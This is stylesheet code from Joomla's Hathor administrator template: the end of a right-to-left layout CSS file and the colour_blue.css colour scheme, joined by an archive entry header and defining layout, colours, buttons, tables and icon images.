pagination is part of the table (old style) */ table.adminlist .pagination { margin: 0 auto; } table.adminlist .pagination button { margin-left: 20px; } /** * Pagination styles */ /* Normal pagination styles */ div.containerpg { right: 50%; float: right; clear: right; } div.pagination { right: -50%; margin: 0 auto; } .pagination div.limit { float: right; margin: 0 10px; } /* The Go submittal button */ .pagination button { margin-left: 20px; } /* Grey out the current page number */ /* Style if pagination is part of the table (old style) */ table.adminlist .pagination button { margin-left: 20px; } /** * MCE Editor */ div.toggle-editor { margin-top: -15px; } /** * Tooltips */ .tip { float: right; } /** * Calendar */ a img.calendar { margin-right: 3px; } /** * General styles */ .helpFrame { padding: 0 10px 0 5px; } #treecellhelp { float: right; } #datacellhelp { float: right; padding: 2px 0 0 0; } /* -- MODAL STYLES ----------- */ div#sbox-window { text-align: right; } h2.modal-title { margin: 5px 15px 0 0; } ul.menu_types { padding: 0 15px 0 0; } ul.menu_types li, dl.menu_type dd ul li { float:right; margin-left: 10px; margin-right: 0; } dl.menu_type dt { float:right; margin: 13px 0 5px 0; } dl.menu_type dd { clear:right; } dl.menu_type dd ul li { margin: 0; } dl.menu_type dd ul { margin: 0; } ul#new-modules-list { padding: 5px 15px 0 0; margin: 0; } ul#new-modules-list li { float:right; margin: 0 0 0 20px; } /** * User Accessibility */ /* Skip to Content Structural Styling */ #skiplinkholder a, #skiplinkholder a:link, #skiplinkholder a:visited { left: 0; right: -200%; } #skiplinkholder a:focus, #skiplinkholder a:active { right: 0; top: 0; } #skiplinkholder p { margin: 0; } #skiptargetholder { left: 0; right: -200%; } /* Skip to Content Visual Styling */ #skiplinkholder a, #skiplinkholder a:link, #skiplinkholder a:visited { padding-left: 20px; padding-right: 20px; } /* For elements that aren't to be seen by users unless the user does something * like clicking on a header to see the collapsed section. */ /* For elements that aren't to be seen by visual users but do need to be read by screenreaders. * Cannot be used for elements that can get focus such as links and form elements */ /* Firefox has issues styling legend so this is a universal fix for making the legend invisible (i.e. visually it's not there, but screen readers see it */ legend.element-invisible { /*margin: 0; margin-right: -10000px; */ } fieldset.adminform label, fieldset.panelform label, fieldset.adminform span.faux-label, fieldset.panelform span.faux-label { clear:right; float:right; margin-right: 10px; margin-left: 5px; } fieldset.adminform fieldset.radio label, fieldset.panelform fieldset.radio label, fieldset.adminform fieldset.radio span.faux-label, fieldset.panelform fieldset.radio span.faux-label { margin-right: 0; } /* checkboxes */ fieldset.adminform fieldset.checkboxes, fieldset.panelform fieldset.checkboxes, fieldset.adminform-legacy fieldset.checkboxes { float:right; margin: 0 0 5px 0; clear:left; } fieldset.adminform fieldset.checkboxes input[type="checkbox"], fieldset.panelform fieldset.checkboxes input[type="checkbox"] { float: right; clear: right; } fieldset.adminform fieldset.checkboxes label, fieldset.panelform fieldset.checkboxes label, fieldset.adminform fieldset.checkboxes span.faux-label, fieldset.panelform fieldset.checkboxes span.faux-label { clear: left; } /* end checkboxes */ fieldset.adminform input, fieldset.adminform span.faux-input, fieldset.adminform textarea, fieldset.adminform select, fieldset.adminform img, fieldset.adminform button, fieldset.panelform input, fieldset.panelform span.faux-input, fieldset.panelform textarea, fieldset.panelform select, fieldset.panelform img, fieldset.panelform button { float:right; margin:5px 0 5px 5px; } /* -------- Batch Section ---------- */ fieldset#batch-choose-action { clear:none; clear: right; } fieldset.batch label { float: right; clear: none; } fieldset label#batch-choose-action-lbl { clear: none; clear: right; } label#batch-language-lbl, label#batch-user-lbl { clear: right; margin-left: 10px; margin-right: 0; margin-top: 15px; } select#batch-language-id, select#batch-user-id { margin-top: 15px; } select#batch-category-id, select#batch-menu-id, select#batch-position-id { margin-left: 30px; margin-right: 0; } fieldset.batch select, fieldset.batch input, fieldset.batch img, fieldset.batch button { float: right; } label#batch-access-lbl, label#batch-client-lbl { margin-right: 0; margin-left: 10px; } /* Banner edit */ /* -- ACL STYLES relocated from com_users/media/grid.css ----------- */ /* -- ACL PANEL STYLES ----------- */ /* All Tabs */ td.col1 { text-align:right; } /* Icons */ label.icon-16-allow, label.icon-16-deny, a.icon-16-allow, a.icon-16-deny, a.icon-16-allowinactive, a.icon-16-denyinactive { margin: 0 auto; } label.icon-16-allow { right: 40%; } label.icon-16-deny { right: 40%; } ul.acllegend li { float: right; padding-left: 20px; margin: 15px 10px 15px 0; } ul.acllegend li.acl-allowed { padding-right: 20px; padding-left: 10px; } ul.acllegend li.acl-denied { padding-right: 20px; padding-left: 20px; } ul.acllegend li.acl-editgroups { padding-left: 10px; } ul.acllegend li.acl-resetbtn { padding-left: 0; } li.acl-editgroups, li.acl-resetbtn { float: right; } table#acl-config th.acl-groups { padding-right: 8px; } table#acl-config th.acl-groups { text-align: right; } .acl-action { margin: auto 0; } /* Icons */ span.icon-16-unset, span.icon-16-allowed, span.icon-16-denied, span.icon-16-locked { padding-left: 0; padding-right: 18px; } /* * * Permission Rules */ #permissions-sliders ul#rules, #permissions-sliders ul#rules ul { margin: 0 !important; padding: 0 !important; } #permissions-sliders ul#rules li { margin: 0; padding: 0; } #permissions-sliders ul#rules table.group-rules td { padding:4px; vertical-align:middle; text-align:right; } #permissions-sliders .panel { margin-bottom: 3px; margin-right: 0; } ul#rules table.group-rules td label { margin: 0 !important; } table.group-rules td select { margin: 0 !important; } #permissions-sliders ul#rules .mypanel { padding: 0; } #permissions-sliders ul#rules { padding: 5px; } #permissions-sliders ul#rules table.group-rules th { text-align: right; padding: 4px; } #permissions-sliders .pane-toggler span { padding-left: 0; padding-right: 20px; } #permissions-sliders .pane-toggler-down span { padding-left: 0; padding-right: 20px; } /** * Helpmenus */ ul.helpmenu li { float: left; } /** * Menu Styling */ #menu a { padding: 0.35em 2em 0.35em 2.5em; } #menu li { float: right; } #menu li ul { /* second-level lists */ margin-right: -1000em; /* using right instead of display to hide menus because display: none isn't read by screen readers */ } #menu li ul ul { /* third-and-above-level lists */ margin: -2.3em -1000em 0 0; /* top margin is equal to parent line height+bottom padding */ } #menu li:hover ul ul,#menu li.sfhover ul ul { margin-right: -1000em; } #menu li:hover ul,#menu li.sfhover ul { /* lists nested under hovered list items */ margin-right: 0; } #menu li li:hover ul,#menu li li.sfhover ul { margin-right: 16em; } /** * Extra positioning rules for limited noscript keyboard accessibility * need the backgrounds here to keep the background as the nav background * since it is overlaying other content. * Using margin-left instead of left so that can move back without javascript * display downlevel ul */ #menu li a:focus+ul { margin-right: 0; } #menu li li a:focus+ul { margin-right: 1016em; } /* bring back the focus elements into view */ #menu li li a:focus { margin-right: 1000em; } #menu li li li a:focus { margin-right: 2016em; } #menu li:hover a:focus,#menu li.sfhover a.sffocus { margin-right: 0; } #menu li li:hover a:focus+ul,#menu li li.sfhover a.sffocus+ul { margin-right: 16em; } /** * Submenu styling */ #submenu a, #submenu span.nolink { float: right; margin-left: 8px; padding: 2px 10px 2px 10px; -moz-border-radius-topleft: 3px; -moz-border-radius-topright: 3px; -webkit-border-top-left-radius: 3px; -webkit-border-top-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; } /* Installer Database */ #installer-database p.warning { padding-left: 0; padding-right: 20px } #installer-database p.nowarning { padding-left: 0; padding-right: 20px } p.nowarning { float: right; margin-left: 15px; margin-right: 3px; } table.adminlist tfoot button { float: right; } /* Spinner */ .joomlaupdate_spinner { float: right; margin-left: 15px; } PK@y>\%$templates/hathor/css/colour_blue.cssnuW+A@charset "UTF-8"; /** * @package Joomla.Administrator * @subpackage templates.hathor * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt * @since 1.6 * * Color CSS file for the template - standard */ /** * #2c2c2c Text * #054993 Links * #ffffff Background, border, text * #c3d2e5 Background alternate, button/icon/menu background * #a5bbd4-c3d2e5 Gradient Background * #e5f0fa Background (input required) * #e5d9c3 Background Hover, Top/Left icon borders * #738498 Main borders * #868778 Top/Left hover borders * #f6f7db Right/Bottom hover borders * * Special Use Colors: * #a20000 Text Error, border invalid * #cccccc Text (faded) * #005800 Text (success) * #eeeeee Background (input disabled) * #ffffcf Background permissions debug * #cfffda Background permissions debug * #ffcfcf Background permissions debug */ /** * General styles */ body { background-color: #ffffff; color: #2c2c2c; } h1 { color: #2c2c2c; } a:link { color: #054993; } a:visited { color: #054993; } /** * Overall Styles */ #header { background: #ffffff url(../images/j_logo.png) no-repeat; } #header h1.title { color: #2c2c2c; } #nav { border: 1px solid #738498; background: #c3d2e5; background: -moz-linear-gradient( center top, #a5bbd4, #c3d2e5 70% ); } #content { background: #ffffff; } #no-submenu { border-bottom: 1px solid #738498; } #element-box { background: #ffffff; border-right: 1px solid #738498; border-bottom: 1px solid #738498; border-left: 1px solid #738498; } #element-box.login { border-top: 1px solid #738498; } /** * Status layout */ #module-status .preview { background: url(../images/menu/icon-16-media.png) 3px 3px no-repeat; } #module-status .viewsite { background: url(../images/menu/icon-16-viewsite.png) 3px 3px no-repeat; } #module-status .unread-messages,#module-status .no-unread-messages { background: url(../images/menu/icon-16-messages.png) 3px 3px no-repeat; } #module-status .loggedin-users { background: url(../images/menu/icon-16-user.png) 3px 3px no-repeat; } #module-status .backloggedin-users { background: url(../images/menu/icon-16-back-user.png) 3px 3px no-repeat; } #module-status .multilanguage { background: url(../images/menu/icon-16-language.png) 3px 3px no-repeat; } #module-status .logout { background: url(../images/menu/icon-16-logout.png) 3px 3px no-repeat; } /** * Various Styles */ .enabled, .success, .allow, span.writable { color: #005800; } .disabled, p.error, .warning, .deny, span.unwritable { color: #a20000; } .nowarning { color: #2c2c2c; } .none, .protected { color: #738498; } span.note { background: #ffffff; color: #2c2c2c; } div.checkin-tick { background: url(../images/admin/tick.png) 20px 50% no-repeat; } /** * Overlib */ .ol-foreground { background-color: #c3d2e5; } .ol-background { background-color: #005800; } .ol-textfont { color: #2c2c2c; } .ol-captionfont { color: #ffffff; } .ol-captionfont a { color: #054993; } /** * Subheader, toolbar, page title */ div.subheader .padding { background: #ffffff; } .pagetitle h2 { color: #2c2c2c; } div.configuration { color: #2c2c2c; background-image: url(../images/menu/icon-16-config.png); background-repeat: no-repeat; } div.toolbar-box { border-right: 1px solid #738498; border-bottom: 1px solid #738498; border-left: 1px solid #738498; background: #ffffff; } div.toolbar-list li { color: #2c2c2c; } div.toolbar-list li.divider { border-right:1px dotted #e5d9c3; } div.toolbar-list a { border-left: 1px solid #e5d9c3; border-top: 1px solid #e5d9c3; border-right: 1px solid #738498; border-bottom: 1px solid #738498; background: #c3d2e5; background: -webkit-gradient(linear, left top, left bottom, color-stop(0.00, #a5bbd4), color-stop(0.7, #c3d2e5) ); background: -moz-linear-gradient(center top, #a5bbd4, #c3d2e5 70% ); } div.toolbar-list a:hover { border-left: 1px solid #868778; border-top: 1px solid #868778; border-right: 1px solid #f6f7db; border-bottom: 1px solid #f6f7db; background: #e5d9c3; color: #054993; } div.toolbar-list li.button a.inactive { background: #c3d2e5; } /** * Pane Slider pane Toggler styles */ .pane-sliders .title { color: #2c2c2c; } .pane-sliders .panel { border: 1px solid #738498; } .pane-sliders .panel h3 { background: #c3d2e5; background: -webkit-gradient(linear, left top, left bottom, color-stop(0.00, #a5bbd4), color-stop(0.7, #c3d2e5) ); background: -moz-linear-gradient(center top, #a5bbd4, #c3d2e5 70% ); color: #054993; } .pane-sliders .panel h3:hover { background: #e5d9c3; } .pane-sliders .panel h3:hover a { text-decoration:none; } .pane-sliders .adminlist { border: 0 none; } .pane-sliders .adminlist td { border: 0 none; } .pane-toggler span { background: transparent url(../images/j_arrow.png) 5px 50% no-repeat; } .pane-toggler-down span { background: transparent url(../images/j_arrow_down.png) 5px 50% no-repeat; } .pane-toggler-down { border-bottom: 1px solid #738498; } /** * Tabs */ dl.tabs dt { border: 1px solid #738498; background: #c3d2e5; background: -webkit-gradient(linear, left top, left bottom, color-stop(0.00, #a5bbd4), color-stop(0.7, #c3d2e5) ); background: -moz-linear-gradient(center top, #a5bbd4, #c3d2e5 70% ); color: #054993; } dl.tabs dt:hover { background: #e5d9c3; } dl.tabs dt.open { background: #ffffff; border-bottom: 1px solid #ffffff; color: #2c2c2c; } dl.tabs dt.open a:visited { color: #2c2c2c; } dl.tabs dt a:hover { text-decoration: none; } dl.tabs dt a:focus { text-decoration: underline; } div.current { border: 1px solid #738498; background: #ffffff; } /* New parameter styles */ div.current fieldset { border: none 0; } div.current fieldset.adminform { border: 1px solid #738498; } /** * Login Settings */ #login-page .pagetitle h2 { background: transparent; } #login-page #header { border-bottom: 1px solid #738498; } #login-page #lock { background: url(../images/j_login_lock.png) 50% 0 no-repeat; } #login-page #element-box.login { background: #c3d2e5; background: -webkit-gradient(linear, left top, left bottom, color-stop(0.00, #a5bbd4), color-stop(0.7, #c3d2e5) ); background: -moz-linear-gradient(center top, #a5bbd4, #c3d2e5 70% ); } #form-login { background: #ffffff; border: 1px solid #738498; } #form-login label { color: #2c2c2c; } #form-login div.button1 a { color: #054993; } /** * Cpanel Settings */ #cpanel div.icon a, .cpanel div.icon a { color: #054993; border-left: 1px solid #e5d9c3; border-top: 1px solid #e5d9c3; border-right: 1px solid #738498; border-bottom: 1px solid #738498; background: #c3d2e5; background: -webkit-gradient(linear, left top, left bottom, color-stop(0.00, #a5bbd4), color-stop(0.7, #c3d2e5) ); background: -moz-linear-gradient(center top, #a5bbd4, #c3d2e5 70% ); } #cpanel div.icon a:hover, #cpanel div.icon a:focus, .cpanel div.icon a:hover, .cpanel div.icon a:focus { border-left: 1px solid #868778; border-top: 1px solid #868778; border-right: 1px solid #f6f7db; border-bottom: 1px solid #f6f7db; color: #054993; background: #e5d9c3; } /** * Form Styles */ fieldset { border: 1px #738498 solid; } legend { color: #2c2c2c; } fieldset ul.checklist input:focus { outline: thin dotted #2c2c2c; } fieldset#filter-bar { border-top: 0 solid #738498; border-right: 0 solid #738498; border-bottom: 1px solid #738498; border-left: 0 solid #738498; } fieldset#filter-bar ol, fieldset#filter-bar ul { border: 0; } fieldset#filter-bar ol li fieldset, fieldset#filter-bar ul li fieldset { border: 0; } /* Note: these visual cues should be augmented by aria */ .invalid { color: #a20000; } /* must be augmented by aria at the same time if changed dynamically by js aria-invalid=true or aria-invalid=false */ input.invalid { border: 1px solid #a20000; } /* augmented by aria in template javascript */ input.readonly, span.faux-input { border: 0; } input.required { background-color: #e5f0fa; } input.disabled { background-color: #eeeeee; } input,select, span.faux-input { background-color: #ffffff; border: 1px solid #738498; } /* Inputs used as buttons */ input[type="button"], input[type="submit"], input[type="reset"] { color: #054993; background-color: #c3d2e5; background: -webkit-gradient(linear, left top, left bottom, color-stop(0.00, #a5bbd4), color-stop(0.7, #c3d2e5) ); background: -moz-linear-gradient(center top, #a5bbd4, #c3d2e5 70% ); } input[type="button"]:hover, input[type="button"]:focus, input[type="submit"]:hover, input[type="submit"]:focus, input[type="reset"]:hover, input[type="reset"]:focus { background: #e5d9c3; } textarea { background-color: #ffffff; border: 1px solid #738498; } input:focus, select:focus, textarea:focus, option:focus, input:hover, select:hover, textarea:hover, option:hover { background-color: #e5d9c3; color: #054993; } /** * Option or Parameter styles */ .paramrules { background: #c3d2e5; } span.gi { color: #738498; } /** * Admintable Styles */ table.admintable td.key,table.admintable td.paramlist_key { background-color: #c3d2e5; color: #2c2c2c; border-bottom: 1px solid #738498; border-right: 1px solid #738498; } table.paramlist td.paramlist_description { background-color: #c3d2e5; color: #2c2c2c; border-bottom: 1px solid #738498; border-right: 1px solid #738498; } /** * Admin Form Styles */ fieldset.adminform { border: 1px solid #738498; } /* Table styles are for use with tabular data */ table.adminform { background-color: #ffffff; } table.adminform tr.row0 { background-color: #ffffff; } table.adminform tr.row1 { background-color: #e5d9c3; } table.adminform th { color: #2c2c2c; background: #ffffff; } table.adminform tr { border-bottom: 1px solid #738498; border-right: 1px solid #738498; } /** * Adminlist Table layout */ table.adminlist { border-spacing: 1px; background-color: #ffffff; color: #2c2c2c; } table.adminlist.modal { border-right: 1px solid #738498; border-left: 1px solid #738498; } table.adminlist a { color: #054993; } table.adminlist thead th { background: #ffffff; color: #2c2c2c; border-bottom:1px solid #738498; } /* Table row styles */ table.adminlist tbody tr { background: #ffffff; } table.adminlist tbody tr.row1 { background: #ffffff; } table.adminlist tbody tr.row1:last-child td, table.adminlist tbody tr.row1:last-child th { border-bottom: 1px solid #738498; } table.adminlist tbody tr.row0:hover td, table.adminlist tbody tr.row1:hover td, table.adminlist tbody tr.row0:hover th, table.adminlist tbody tr.row1:hover th, table.adminlist tbody tr.row0:focus td, table.adminlist tbody tr.row1:focus td, table.adminlist tbody tr.row0:focus th, table.adminlist tbody tr.row1:focus th { background-color: #e5d9c3; } table.adminlist tbody tr td, table.adminlist tbody tr th { border-right: 1px solid #738498; } table.adminlist tbody tr td:last-child { border-right: none; } table.adminlist tbody tr.row0:last-child td, table.adminlist tbody tr.row0:last-child th { border-bottom: 1px solid #738498; } table.adminlist tbody tr.row0 td, table.adminlist tbody tr.row0 th { background: #c3d2e5; background: -webkit-gradient(linear, left top, left bottom, color-stop(0.00, #a5bbd4), color-stop(0.7, #c3d2e5) ); background: -moz-linear-gradient(center top, #a5bbd4, #c3d2e5 70% ); } table.adminlist { border-bottom: 0 solid #738498; } table.adminlist tfoot tr { color: #2c2c2c; } /* Table td/th styles */ table.adminlist tfoot td,table.adminlist tfoot th { background-color: #ffffff; border-top: 1px solid #738498; } /** * Adminlist buttons */ table.adminlist tr td.btns a { border: 1px solid #738498; background-color: #c3d2e5; background: -webkit-gradient(linear, left top, left bottom, color-stop(0.00, #a5bbd4), color-stop(0.7, #c3d2e5) ); background: -moz-linear-gradient(center top, #a5bbd4, #c3d2e5 70% ); color: #054993; } table.adminlist tr td.btns a:hover, table.adminlist tr td.btns a:active, table.adminlist tr td.btns a:focus { background-color: #ffffff; } /** * Saving order icon styling in admin tables */ a.saveorder { background: url(../images/admin/filesave.png) no-repeat; } a.saveorder.inactive { background-position: 0 -16px; } /** * Saving order icon styling in admin tables */ fieldset.batch { background: #fff; } /** * Button styling */ button { color: #054993; border: 1px solid #738498; background-color: #c3d2e5; background: -webkit-gradient(linear, left top, left bottom, color-stop(0.00, #a5bbd4), color-stop(0.7, #c3d2e5) ); background: -moz-linear-gradient(center top, #a5bbd4, #c3d2e5 70% ); } button:hover, button:focus { background: #e5d9c3; } .invalid { color: #ff0000; } /* Button 1 Type */ .button1 { border: 1px solid #738498; color: #054993; background: #c3d2e5; background: -webkit-gradient(linear, left top, left bottom, color-stop(0.00, #a5bbd4), color-stop(0.7, #c3d2e5) ); background: -moz-linear-gradient(center top, #a5bbd4, #c3d2e5 70% ); } /* Use this if you add images to the buttons such as directional arrows */ .button1 a { color: #054993; /* add padding if you are using the directional images */ /* padding: 0 30px 0 6px; */ } .button1 a:hover,.button1 a:focus { background: #e5d9c3; } /* Button 2 Type */ .button2-left,.button2-right { border: 1px solid #738498; background-color: #c3d2e5; background: -webkit-gradient(linear, left top, left bottom, color-stop(0.00, #a5bbd4), color-stop(0.7, #c3d2e5) ); background: -moz-linear-gradient(center top, #a5bbd4, #c3d2e5 70% ); } .button2-left a,.button2-right a,.button2-left span,.button2-right span { color: #054993; } /* these are inactive buttons */ .button2-left span,.button2-right span { color: #999999; } .page span,.blank span { color: #054993; } .button2-left a:hover, .button2-right a:hover, .button2-left a:focus, .button2-right a:focus { background: #e5d9c3; } /** * Pagination styles */ /* Grey out the current page number */ .pagination .page span { color: #999999; } .icon-32-extension { background-image: url(../images/toolbar/icon-32-extension.png); } /** * Tooltips */ .tip { background: #ffffff; border: 1px solid #738498; } .tip-title { background: url(../images/selector-arrow-std.png) no-repeat; } /** * Calendar */ a img.calendar { background: url(../images/calendar.png) no-repeat; } /** * JGrid styles */ .jgrid span.publish { background-image: url(../images/admin/tick.png); } .jgrid span.unpublish { background-image: url(../images/admin/publish_x.png); } .jgrid span.archive { background-image: url(../images/menu/icon-16-archive.png); } .jgrid span.trash { background-image: url(../images/menu/icon-16-trash.png); } .jgrid span.default { background-image: url(../images/menu/icon-16-default.png); } .jgrid span.notdefault { background-image: url(../images/menu/icon-16-notdefault.png); } .jgrid span.checkedout { background-image: url(../images/admin/checked_out.png); } .jgrid span.downarrow { background-image: url(../images/admin/downarrow.png); } .jgrid span.downarrow_disabled { background-image: url(../images/admin/downarrow0.png); } .jgrid span.uparrow { background-image: url(../images/admin/uparrow.png); } .jgrid span.uparrow_disabled { background-image: url(../images/admin/uparrow0.png); } .jgrid span.published { background-image: url(../images/admin/publish_g.png); } .jgrid span.expired { background-image: url(../images/admin/publish_r.png); } .jgrid span.pending { background-image: url(../images/admin/publish_y.png); } .jgrid span.warning { background-image: url(../images/admin/publish_y.png); } /** * Menu Icons * These icons are used on the Administrator menu * The classes are constructed dynamically when the menu is generated */ .icon-16-archive { background-image: url(../images/menu/icon-16-archive.png); } .icon-16-article { background-image: url(../images/menu/icon-16-article.png); } .icon-16-banners { background-image: url(../images/menu/icon-16-banner.png); } .icon-16-banners-clients { background-image: url(../images/menu/icon-16-banner-client.png); } .icon-16-banners-tracks { background-image: url(../images/menu/icon-16-banner-tracks.png); } .icon-16-banners-cat { background-image: url(../images/menu/icon-16-banner-categories.png); } .icon-16-category { background-image: url(../images/menu/icon-16-category.png); } .icon-16-checkin { background-image: url(../images/menu/icon-16-checkin.png); } .icon-16-clear { background-image: url(../images/menu/icon-16-clear.png); } .icon-16-component { background-image: url(../images/menu/icon-16-component.png); } .icon-16-config { background-image: url(../images/menu/icon-16-config.png); } .icon-16-contact { background-image: url(../images/menu/icon-16-contacts.png); } .icon-16-contact-cat { background-image: url(../images/menu/icon-16-contacts-categories.png); } .icon-16-content { background-image: url(../images/menu/icon-16-content.png); } .icon-16-cpanel { background-image: url(../images/menu/icon-16-cpanel.png); } .icon-16-default { background-image: url(../images/menu/icon-16-default.png); } .icon-16-featured { background-image: url(../images/menu/icon-16-featured.png); } .icon-16-groups { background-image: url(../images/menu/icon-16-groups.png); } .icon-16-help { background-image: url(../images/menu/icon-16-help.png); } .icon-16-help-this { background-image: url(../images/menu/icon-16-help-this.png); } .icon-16-help-forum { background-image: url(../images/menu/icon-16-help-forum.png); } .icon-16-help-docs { background-image: url(../images/menu/icon-16-help-docs.png); } .icon-16-help-jed { background-image: url(../images/menu/icon-16-help-jed.png); } .icon-16-help-jrd { background-image: url(../images/menu/icon-16-help-jrd.png); } .icon-16-help-community { background-image: url(../images/menu/icon-16-help-community.png); } .icon-16-help-security { background-image: url(../images/menu/icon-16-help-security.png); } .icon-16-help-dev { background-image: url(../images/menu/icon-16-help-dev.png); } .icon-16-help-shop { background-image: url(../images/menu/icon-16-help-shop.png); } .icon-16-info { background-image: url(../images/menu/icon-16-info.png); } .icon-16-install { background-image: url(../images/menu/icon-16-install.png); } .icon-16-joomlaupdate { background-image: url(../images/menu/icon-16-install.png); } .icon-16-language { background-image: url(../images/menu/icon-16-language.png); } .icon-16-levels { background-image: url(../images/menu/icon-16-levels.png); } .icon-16-logout { background-image: url(../images/menu/icon-16-logout.png); } .icon-16-maintenance { background-image: url(../images/menu/icon-16-maintenance.png); } .icon-16-massmail { background-image: url(../images/menu/icon-16-massmail.png); } .icon-16-media { background-image: url(../images/menu/icon-16-media.png); } .icon-16-menu { background-image: url(../images/menu/icon-16-menu.png); } .icon-16-menumgr { background-image: url(../images/menu/icon-16-menumgr.png); } .icon-16-messages { background-image: url(../images/menu/icon-16-messaging.png); } .icon-16-messages-add { background-image: url(../images/menu/icon-16-new-privatemessage.png); } .icon-16-messages-read { background-image: url(../images/menu/icon-16-messages.png); } .icon-16-module { background-image: url(../images/menu/icon-16-module.png); } /* .icon-16-new { background-image: url(../images/menu/icon-16-new.png); } */ .icon-16-newarticle { background-image: url(../images/menu/icon-16-newarticle.png); } .icon-16-newcategory { background-image: url(../images/menu/icon-16-newcategory.png); } .icon-16-newgroup { background-image: url(../images/menu/icon-16-newgroup.png); } .icon-16-newlevel { background-image: url(../images/menu/icon-16-newlevel.png); } .icon-16-newuser { background-image: url(../images/menu/icon-16-newuser.png); } .icon-16-plugin { background-image: url(../images/menu/icon-16-plugin.png); } .icon-16-profile { background-image: url(../images/menu/icon-16-user.png); } .icon-16-purge { background-image: url(../images/menu/icon-16-purge.png); } .icon-16-readmess { background-image: url(../images/menu/icon-16-readmess.png); } .icon-16-section { background-image: url(../images/menu/icon-16-section.png); } .icon-16-static { background-image: url(../images/menu/icon-16-static.png); } .icon-16-stats { background-image: url(../images/menu/icon-16-stats.png); } .icon-16-themes { background-image: url(../images/menu/icon-16-themes.png); } .icon-16-trash { background-image: url(../images/menu/icon-16-trash.png); } .icon-16-user { background-image: url(../images/menu/icon-16-user.png); } .icon-16-user-note { background-image: url(../images/menu/icon-16-user-note.png); } .icon-16-delete { background-image: url(../images/menu/icon-16-delete.png); } .icon-16-help-trans { background-image: url(../images/menu/icon-16-help-trans.png); } .icon-16-newsfeeds { background-image: url(../images/menu/icon-16-newsfeeds.png); } .icon-16-newsfeeds-cat { background-image: url(../images/menu/icon-16-newsfeeds-cat.png); } .icon-16-redirect { background-image: url(../images/menu/icon-16-redirect.png); } .icon-16-search { background-image: url(../images/menu/icon-16-search.png); } .icon-16-finder { background-image: url(../images/menu/icon-16-search.png); } .icon-16-weblinks { background-image: url(../images/menu/icon-16-links.png); } .icon-16-weblinks-cat { background-image: url(../images/menu/icon-16-links-cat.png); } /** * Toolbar icons * These icons are used for the toolbar buttons * The classes are constructed dynamically when the toolbar is created */ .icon-32-send { background-image: url(../images/toolbar/icon-32-send.png); } .icon-32-delete { background-image: url(../images/toolbar/icon-32-delete.png); } .icon-32-help { background-image: url(../images/toolbar/icon-32-help.png); } .icon-32-cancel { background-image: url(../images/toolbar/icon-32-cancel.png); } .icon-32-checkin { background-image: url(../images/toolbar/icon-32-checkin.png); } .icon-32-options{ background-image: url(../images/toolbar/icon-32-config.png); } .icon-32-apply { background-image: url(../images/toolbar/icon-32-apply.png); } .icon-32-back { background-image: url(../images/toolbar/icon-32-back.png); } .icon-32-forward { background-image: url(../images/toolbar/icon-32-forward.png); } .icon-32-save { background-image: url(../images/toolbar/icon-32-save.png); } .icon-32-edit { background-image: url(../images/toolbar/icon-32-edit.png); } .icon-32-copy { background-image: url(../images/toolbar/icon-32-copy.png); } .icon-32-move { background-image: url(../images/toolbar/icon-32-move.png); } .icon-32-new { background-image: url(../images/toolbar/icon-32-new.png); } .icon-32-upload { background-image: url(../images/toolbar/icon-32-upload.png); } .icon-32-assign { background-image: url(../images/toolbar/icon-32-publish.png); } .icon-32-html { background-image: url(../images/toolbar/icon-32-html.png); } .icon-32-css { background-image: url(../images/toolbar/icon-32-css.png); } .icon-32-menus { background-image: url(../images/toolbar/icon-32-menu.png); } .icon-32-publish { background-image: url(../images/toolbar/icon-32-publish.png); } .icon-32-unblock { background-image: url(../images/toolbar/icon-32-unblock.png); } .icon-32-unpublish { background-image: url(../images/toolbar/icon-32-unpublish.png); } .icon-32-restore { background-image: url(../images/toolbar/icon-32-revert.png); } .icon-32-trash { background-image: url(../images/toolbar/icon-32-trash.png); } .icon-32-archive { background-image: url(../images/toolbar/icon-32-archive.png); } .icon-32-unarchive { background-image: url(../images/toolbar/icon-32-unarchive.png); } .icon-32-preview { background-image: url(../images/toolbar/icon-32-preview.png); } .icon-32-default { background-image: url(../images/toolbar/icon-32-default.png); } .icon-32-refresh { background-image: url(../images/toolbar/icon-32-refresh.png); } .icon-32-save-new { background-image: url(../images/toolbar/icon-32-save-new.png); } .icon-32-save-copy { background-image: url(../images/toolbar/icon-32-save-copy.png); } .icon-32-error { background-image: url(../images/toolbar/icon-32-error.png); } .icon-32-new-style { background-image: url(../images/toolbar/icon-32-new-style.png); } .icon-32-delete-style { background-image: url(../images/toolbar/icon-32-delete-style.png); } .icon-32-purge { background-image: url(../images/toolbar/icon-32-purge.png); } .icon-32-remove { background-image: url(../images/toolbar/icon-32-remove.png); } .icon-32-featured { background-image: url(../images/toolbar/icon-32-featured.png); } .icon-32-export { background-image: url(../images/toolbar/icon-32-export.png); } .icon-32-stats { background-image: url(../images/toolbar/icon-32-stats.png); } .icon-32-print { background-image: url(../images/toolbar/icon-32-print.png); } /** * Quick Icons * Also knows as Header Icons * These are used for the Quick Icons on the Control Panel * The same classes are also assigned the Component Title */ .icon-48-categories { background-image: url(../images/header/icon-48-category.png); } .icon-48-category-edit { background-image: url(../images/header/icon-48-category.png); } .icon-48-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-generic { background-image: url(../images/header/icon-48-generic.png); } .icon-48-banners { background-image: url(../images/header/icon-48-banner.png); } .icon-48-banners-categories { background-image: url(../images/header/icon-48-banner-categories.png); } .icon-48-banners-category-edit { background-image: url(../images/header/icon-48-banner-categories.png); } .icon-48-banners-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-banners-clients { background-image: url(../images/header/icon-48-banner-client.png); } .icon-48-banners-tracks { background-image: url(../images/header/icon-48-banner-tracks.png); } .icon-48-checkin { background-image: url(../images/header/icon-48-checkin.png); } .icon-48-clear { background-image: url(../images/header/icon-48-clear.png); } .icon-48-contact { background-image: url(../images/header/icon-48-contacts.png); } .icon-48-contact-categories { background-image: url(../images/header/icon-48-contacts-categories.png); } .icon-48-contact-category-edit { background-image: url(../images/header/icon-48-contacts-categories.png); } .icon-48-contact-category-add { background-image: url(../images/header/icon-48-category-add.png); } .icon-48-purge { background-image: url(../images/header/icon-48-purge.png); } .icon-48-cpanel { background-image: url(../images/header/icon-48-cpanel.png); } .icon-48-config { background-image: url(../images/header/icon-48-config.png); } .icon-48-groups { background-image: url(../images/header/icon-48-groups.png); } .icon-48-groups-add { background-image: url(../images/header/icon-48-groups-add.png); } .icon-48-levels { background-image: url(../images/header/icon-48-levels.png); } .icon-48-levels-add { background-image: 